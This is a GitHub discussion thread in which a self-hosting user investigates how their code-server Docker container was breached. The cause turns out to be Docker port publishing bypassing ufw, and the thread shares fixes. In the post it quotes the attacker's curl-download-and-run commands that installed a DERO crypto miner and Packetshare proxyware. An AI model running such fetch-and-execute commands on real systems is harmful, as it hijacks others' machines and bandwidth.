Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly
Sign up
Appearance settings

My code-server got hacked; I have no idea how #6930

Answered by klamann
klamann asked this question in Q&A
Discussion options

I've been using code-server for a couple of years now on my private server where I host some stuff for myself and friends/family. Yesterday, I noticed that I got hacked for the first time ever (I've been self-hosting stuff for ~12 years now), and the point of entry was code-server. Luckily, code-server was constrained to a docker container without root access, so the damage was somewhat contained, but I still have no answer to how the attacker actually gained access. So I'd like to share my insights and maybe we can figure out together what happened.

the setup

  • code server running from docker image lscr.io/linuxserver/code-server:4.91.0
  • nginx proxy for code-server.example.org redirects to port 8443 where code-server is exposed internally
  • ufw blocks access to all ports except HTTP, HTTPS, SSH
  • authelia is used to deny any requests to code-server.example.org without authentication

I'm not using the built-in password authentication mechanism of code-server, since authelia already handles authentication.

the incident

unexpected access to code-server on 2024年07月31日 from an IP address in India. remoteagent.log:

2024年07月31日 18:50:04.555 [info] [27.58.xxx.xxx][2a757f12][ManagementConnection] New connection established.
full `remoteagent.log` from that day 
2024年07月31日 18:50:04.555 [info] [27.58.xxx.xxx][2a757f12][ManagementConnection] New connection established.
2024年07月31日 18:50:07.673 [info] [27.58.xxx.xxx][b11cad94][ExtensionHostConnection] New connection established.
2024年07月31日 18:50:07.708 [info] [27.58.xxx.xxx][b11cad94][ExtensionHostConnection] <115209> Launched Extension Host Process.
2024年07月31日 18:50:16.507 [info] Getting Manifest... eamodio.gitlens
2024年07月31日 18:50:17.491 [info] Installing extension: eamodio.gitlens {"productVersion":{"version":"1.91.0","date":"2024-07-08T22:14:43.429Z"},"p
inned":false,"isApplicationScoped":false,"installOnlyNewlyAddedFromExtensionPack":true,"profileLocation":{"$mid":1,"fsPath":"/config/extensions/
extensions.json","external":"file:///config/extensions/extensions.json","path":"/config/extensions/extensions.json","scheme":"file"}}
2024年07月31日 18:50:21.942 [info] Extracted extension to file:///config/extensions/eamodio.gitlens-15.2.3-universal: eamodio.gitlens
2024年07月31日 18:50:22.006 [info] Renamed to /config/extensions/eamodio.gitlens-15.2.3-universal
2024年07月31日 18:50:22.062 [info] Marked extension as uninstalled eamodio.gitlens-15.2.0-universal
2024年07月31日 18:50:22.071 [info] Extension installed successfully: eamodio.gitlens file:///config/extensions/extensions.json
2024年07月31日 18:51:13.428 [info] [27.58.xxx.xxx][2a757f12][ManagementConnection] The client has disconnected gracefully, so the connection will be
 disposed.
2024年07月31日 18:51:13.508 [info] [27.58.xxx.xxx][b11cad94][ExtensionHostConnection] <115209> Extension Host Process exited with code: 0, signal: n
ull.
2024年07月31日 18:51:15.384 [info] [27.58.xxx.xxx][e53e1ba9][ManagementConnection] New connection established.
2024年07月31日 18:51:17.290 [info] [27.58.xxx.xxx][60625aa1][ExtensionHostConnection] New connection established.
2024年07月31日 18:51:17.312 [info] [27.58.xxx.xxx][60625aa1][ExtensionHostConnection] <115434> Launched Extension Host Process.
2024年07月31日 18:52:15.970 [info] [27.58.xxx.xxx][e53e1ba9][ManagementConnection] The client has disconnected gracefully, so the connection will be
 disposed.
2024年07月31日 18:52:16.190 [info] [27.58.xxx.xxx][60625aa1][ExtensionHostConnection] <115434> Extension Host Process exited with code: 0, signal: n
ull.
2024年07月31日 18:52:17.614 [info] [27.58.xxx.xxx][884303d6][ManagementConnection] New connection established.
2024年07月31日 18:52:19.569 [info] [27.58.xxx.xxx][95bbb89a][ExtensionHostConnection] New connection established.
2024年07月31日 18:52:19.578 [info] [27.58.xxx.xxx][95bbb89a][ExtensionHostConnection] <115681> Launched Extension Host Process.
2024年07月31日 19:37:47.940 [info] [161.35.xxx.xxx][68b59a94][ManagementConnection] New connection established.
2024年07月31日 19:37:49.254 [info] [161.35.xxx.xxx][394c5715][ExtensionHostConnection] New connection established.
2024年07月31日 19:37:49.275 [info] [161.35.xxx.xxx][394c5715][ExtensionHostConnection] <123934> Launched Extension Host Process.
2024年07月31日 19:37:50.765 [warning] RequestStore#acceptReply was called without receiving a matching request 193
2024年07月31日 19:37:50.766 [warning] RequestStore#acceptReply was called without receiving a matching request 194
2024年07月31日 19:37:50.766 [warning] RequestStore#acceptReply was called without receiving a matching request 195
2024年07月31日 19:37:50.766 [warning] RequestStore#acceptReply was called without receiving a matching request 196
2024年07月31日 19:37:50.766 [warning] RequestStore#acceptReply was called without receiving a matching request 197
2024年07月31日 19:37:50.767 [warning] RequestStore#acceptReply was called without receiving a matching request 198
2024年07月31日 19:37:50.767 [warning] RequestStore#acceptReply was called without receiving a matching request 199
2024年07月31日 19:37:50.767 [warning] RequestStore#acceptReply was called without receiving a matching request 200
2024年07月31日 19:37:50.767 [warning] RequestStore#acceptReply was called without receiving a matching request 201
2024年07月31日 19:37:50.767 [warning] RequestStore#acceptReply was called without receiving a matching request 202
2024年07月31日 19:37:50.767 [warning] RequestStore#acceptReply was called without receiving a matching request 203
2024年07月31日 19:37:50.767 [warning] RequestStore#acceptReply was called without receiving a matching request 204
2024年07月31日 19:38:49.700 [info] [161.35.xxx.xxx][3f4defc2][ManagementConnection] New connection established.
2024年07月31日 19:38:51.618 [info] [161.35.xxx.xxx][4c1c8244][ExtensionHostConnection] New connection established.
2024年07月31日 19:38:51.629 [info] [161.35.xxx.xxx][4c1c8244][ExtensionHostConnection] <124345> Launched Extension Host Process.
2024年07月31日 19:38:59.151 [warning] RequestStore#acceptReply was called without receiving a matching request 229
2024年07月31日 19:38:59.151 [warning] RequestStore#acceptReply was called without receiving a matching request 230
2024年07月31日 19:38:59.151 [warning] RequestStore#acceptReply was called without receiving a matching request 231
2024年07月31日 19:38:59.151 [warning] RequestStore#acceptReply was called without receiving a matching request 232
2024年07月31日 19:38:59.151 [warning] RequestStore#acceptReply was called without receiving a matching request 233
2024年07月31日 19:38:59.151 [warning] RequestStore#acceptReply was called without receiving a matching request 234
2024年07月31日 19:38:59.152 [warning] RequestStore#acceptReply was called without receiving a matching request 235
2024年07月31日 19:38:59.152 [warning] RequestStore#acceptReply was called without receiving a matching request 236
2024年07月31日 19:38:59.152 [warning] RequestStore#acceptReply was called without receiving a matching request 237
2024年07月31日 19:38:59.152 [warning] RequestStore#acceptReply was called without receiving a matching request 238
2024年07月31日 19:38:59.152 [warning] RequestStore#acceptReply was called without receiving a matching request 239
2024年07月31日 19:38:59.152 [warning] RequestStore#acceptReply was called without receiving a matching request 240
2024年07月31日 19:39:11.429 [info] [161.35.xxx.xxx][68b59a94][ManagementConnection] The client has disconnected, will wait for reconnection 3h before disposing...
2024年07月31日 19:43:49.910 [info] [161.35.xxx.xxx][394c5715][ExtensionHostConnection] <123934> Extension Host Process exited with code: 0, signal: null.
2024年07月31日 19:47:11.877 [warning] RequestStore#acceptReply was called without receiving a matching request 241
2024年07月31日 19:47:11.877 [warning] RequestStore#acceptReply was called without receiving a matching request 242
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 243
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 244
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 245
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 246
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 247
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 248
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 249
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 250
2024年07月31日 19:47:11.878 [warning] RequestStore#acceptReply was called without receiving a matching request 251
2024年07月31日 19:47:11.879 [warning] RequestStore#acceptReply was called without receiving a matching request 252
2024年07月31日 19:52:00.540 [info] [27.58.xxx.xxx][884303d6][ManagementConnection] The client has disconnected gracefully, so the connection will be disposed.
2024年07月31日 19:52:00.700 [info] [27.58.xxx.xxx][95bbb89a][ExtensionHostConnection] <115681> Extension Host Process exited with code: 0, signal: null.
2024年07月31日 22:39:18.440 [info] [161.35.xxx.xxx][68b59a94][ManagementConnection] The reconnection grace time of 3h has expired, so the connection will be disposed.
2024年08月01日 07:39:38.133 [info] Getting Manifest... ms-python.python
2024年08月01日 07:39:39.018 [info] Installing extension: ms-python.python {"productVersion":{"version":"1.91.0","date":"2024-07-08T22:14:43.429Z"},"pinned":false,"isApplicationScoped":false,"installOnlyNewlyAddedFromExtensionPack":true,"profileLocation":{"$mid":1,"fsPath":"/config/extensions/extensions.json","external":"file:///config/extensions/extensions.json","path":"/config/extensions/extensions.json","scheme":"file"}}
2024年08月01日 07:39:49.160 [info] Extracted extension to file:///config/extensions/ms-python.python-2024年12月1日-universal: ms-python.python
2024年08月01日 07:39:49.172 [info] Renamed to /config/extensions/ms-python.python-2024年12月1日-universal
2024年08月01日 07:39:49.251 [info] Marked extension as uninstalled ms-python.python-2024100-universal
2024年08月01日 07:39:49.256 [info] Extension installed successfully: ms-python.python file:///config/extensions/extensions.json

the attacker then runs these commands on the vscode terminal inside the docker container

curl -sLJO "https://github.com/DeroLuna/dero-miner/releases/download/v1.12.4a-beta/deroluna-miner-linux-amd64.tar.gz" && tar -xvf deroluna-miner-linux-amd64.tar.gz && ./deroluna-miner -w deroi1... -d community-pools.mysrv.cloud:10300 -t 4 && --no-same-owner deroluna-minner.log & --no-lock
curl -sLJO "https://.../Packetshare" && chmod +x Packetshare && ./Packetshare -email=...@gmail.com -password=... -accept-tos

this installs a crypto miner that causes 100% load on all cpu cores and some kind of VPN that allows scammers to use your IP address to scam other people.

point of entry

  • it is clear from remoteagent.log that the attacker got access to code-server
  • there are no signs that the attacker tried to break out of the container; it seems like they were done after they installed the crypto miner and scam VPN thingy
  • there are no signs that any other parts of the system except for the docker container of code-server have been compromised
  • there are no login attempts in the logs of authelia for that day. neither successful nor failed logins
  • according to the nginx logs, there was no access to code-server.example.org on that day
  • ufw is active and I can confirm that only the ports in my whitelist can be accessed. code-server is not on the whitelist.

so, it seems like the attacker was able to completely avoid my authentication mechanism. They didn't even go through the webserver and still got access to code-server. How? 🤔
You must be logged in to vote

Docker and ufw use iptables in ways that make them incompatible with each other. When you publish a container's ports using Docker, traffic to and from that container gets diverted before it goes through the ufw firewall settings. (...) Packets are routed before the firewall rules can be applied, effectively ignoring your firewall configuration.

https://docs.docker.com/network/packet-filtering-firewalls/#docker-and-ufw

I didn't know this. I've been using docker for so many years now, and all this time, my ufw rules were useless. This was the point of entry, code-server was exposed on port 8443 all along, I just never checked because I was so certain that I can rely on my ufw rules.

For ...

Replies: 6 comments 12 replies

Comment options

The only way I can come up with off the top of my head that would make this possible is if code-server was listening on some interface that is directly exposed to the internet, making it possible to bypass both Authelia and NGINX. Is Docker bound to 0.0.0.0 maybe? --port 0.0.0.0:8080:8080 or something like that. Or if you are using --network host, that could also be a problem.
You must be logged in to vote
4 replies
Comment options

Except your firewall would block 8080 so even if it was listening on all interfaces that could not be it either...
Comment options

I'm using docker compose, 8443:8443 is the only port mapping in the compose file. not using the host network. 8443 is not listed in ufw, and the policy is to block everything that is not listed. so I would not expect this to be a problem.
Comment options

there's one more part to the story: the attacker provided their email and password for packetshare on the CLI, so I was able to log in with their credentials; changed the password, of course ;)

there were about 50 other infected devices connected to this account (which I can't shut down remotely, unfortunately). This confirms my suspicion that this was not a targeted attack, but a rather simple exploit. Someone must have been scanning IP addresses for this exploit, and they didn't go through my webserver. Still got no theory how, though.

ok, I do, but those are not trivial explots: a zero day in vs code or code-server specifically, or malicious code that was placed in one of the few extensions I have installed, which allowed the attacker to connect through a TCP connection opened from my end of the network. I don't know, someone with an exploit like that could do way more damage than installing a crypto miner.
Comment options

Except your firewall would block 8080 so even if it was listening on all interfaces that could not be it either...

I really should have verified this 😵
Comment options

I've decided to set up a honeypot: code-server will run on the same machine, with the same config except

  • no mounted volumes other than the config folder
  • log level is set to debug
  • no web proxy and no exposed ports

the only way to access code-server now is from the inside, e.g. if an extension phones home and leaves a TCP connection open. let's see if someone will take the bait.
You must be logged in to vote
0 replies
Comment options

Docker and ufw use iptables in ways that make them incompatible with each other. When you publish a container's ports using Docker, traffic to and from that container gets diverted before it goes through the ufw firewall settings. (...) Packets are routed before the firewall rules can be applied, effectively ignoring your firewall configuration.

https://docs.docker.com/network/packet-filtering-firewalls/#docker-and-ufw

I didn't know this. I've been using docker for so many years now, and all this time, my ufw rules were useless. This was the point of entry, code-server was exposed on port 8443 all along, I just never checked because I was so certain that I can rely on my ufw rules.

For now, I've changed the port mapping to 127.0.0.1:8443:8443 so that the port is only exposed internally. But overall, this is such a mess. Lots of other services are affected. I have to completely re-evaluate my network security...
You must be logged in to vote
6 replies
Comment options

It's kinda both, I guess, since ufw takes control of iptables to make it simple to block traffic, and docker takes control of iptables to make it simple to route traffic. If they were to agree on a compatible approach, they could avoid this conflict, but so far, both the docker and ufw maintainers have shown little interest in doing so.
Comment options

That is really unfortunate. 😞
Comment options

@klamann Never expose a container/service on 0.0.0.0 directly.

Use a (more advanced) proxy like Træfik for your services.

Check out https://demo.jupyter.b-data.ch which is a reference deployment of https://gitlab.com/b-data/docker/deployments/jupyter.
i️ All b-data/my Jupyter Lab docker stacks include code-server.
Comment options

There are a couple of scripts to make this work: https://github.com/chaifeng/ufw-docker, not sure if it is still maintained though.
Comment options

I considered using ufw-docker when I was investigating this topic, but ultimately decided against it. This incident made me question a lot of the assumptions I have about network security. Adding a bunch of code that I don't understand from a project on github that does not seem to be actively maintained does not feel like a good idea, at least for me.

So I decided learn more about docker networking, iptables and ufw to avoid similar pitfalls from now on. Also, I set up a script to run scheduled port scans on my own servers to notify me about new open ports. And another script to notify me when that script fails. Hopefully that's sufficient for now 😅
Answer selected by klamann
Comment options

Interesting article; similar topic: https://www.math.cmu.edu/~gautam/sj/blog/20191102-docker-sshguard.html

You must be logged in to vote
0 replies
Comment options

@klamann Can you share your configuration to bind authelia and code-server? I couldn't find the correct way to integrate authelia with code-server myself, and have tried a bunch of ways without a go. Thanks a lot!
You must be logged in to vote
1 reply
Comment options

Hey, I run both code-server and authelia in docker and bind them to a local IP (to avoid getting pwnd again) with e.g. 127.0.0.1:8443:8443 for code-server.

Then I configure a subdomain for code-server in nginx like so

server {
 listen 443 ssl http2;
 listen [::]:443 ssl http2;
 server_name editor.example.org;
 # authenticate with authelia, then forward to actual service
 include /etc/nginx/snippets/authelia-location.conf;
 set $upstream http://127.0.0.1:8443;
 location / {
 include /etc/nginx/snippets/proxy.conf;
 include /etc/nginx/snippets/authelia-authrequest.conf;
 proxy_pass $upstream;
 }
}

The snippets authelia-location.conf, proxy.conf and authelia-authrequest.conf I copied from the authelia docs on nginx. This stuff is not trivial to set up, I had to read the docs very carefully to avoid mistakes, but it seems to have worked for me (no unauthenticated access so far - at least none that I noticed...)
Comment options

Hello!

I noticed that someone had also gained access to my server, through code-server, and had been mining. (I don't believe that they did something else than mining.)
After investigating, I identified that it was mostly my fault, but for a different reason.

My setup was somewhat different:

  • code server 4.89.1 installed on the system (Fedora) by install.sh; enabled through systemctl, for my user; listening on 127.0.0.1
  • reverse-proxied through Caddy; behind a "forward auth" to Authentik (I am the only user and use MFA); therefore not using code-server built-in authentication
  • All incoming traffic through my server goes through a VPS via a Wireguard tunnel. The VPS has a firewall, and forwarding rules for specific ports only (e.g. 443, 80). My server itself also has a firewall, allowing only necessary ports.

However, port forwarding through subdomains was enabled without authentication.
In addition, autoconfiguration was enabled for those subdomains (i.e. if you try to access a subdomain that doesn't "exist" yet, Caddy will configure it with a SSL certificate). Autoconfiguration ran only on condition that a certain script was running.

So in my head, even if someone managed to "create" a subdomain (in that period of time when my script was running):

  • My apps under development have nothing sensitive.
  • Non-bound ports, e.g. 1243, would result in "connect ECONNREFUSED 0.0.0.0:1234"

However, I did not realise that:

  • Some day, my script must have kept running in the background for a long period of time
  • If someone tries to access a subdomain with non-digits e.g. www.my-code-instance.tld, they get access to the code-server instance (Yes, without authentication, as per my setup...)
  • All other services running locally would become publicly reachable. (Really, you see that I had not thought that through...)

I expected code-server to reject requests for subdomains that don't bind to any port, instead of loading the editor.
This is not an issue in a traditional setup, because subdomains are protected with the built-in authentication. My lack of awareness and security sense is the main root cause for this attack.

However, it still makes sense to me that code-server should not accept requests to invalid subdomains. (This would improve security slightly, IMO)

I hope by sharing this, others can avoid making similar mistakes :)
You must be logged in to vote
1 reply
Comment options

I am glad you got it figured out!

Your proposal and assumption does make sense to me. I assume you are using the --proxy-domain flag? We could change the matcher to match any text (not just numbers), that way it gets matched and then if it is not a number we can reject it as invalid.

So, as an example, if your proxy domain is test.com, this turns into {{port}}.test.com which currently turns into (\d+)\.test\.com. Instead we would do something like ([^.]+)\.test\.com, then reject if the match is not a number.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

AltStyle によって変換されたページ (->オリジナル) /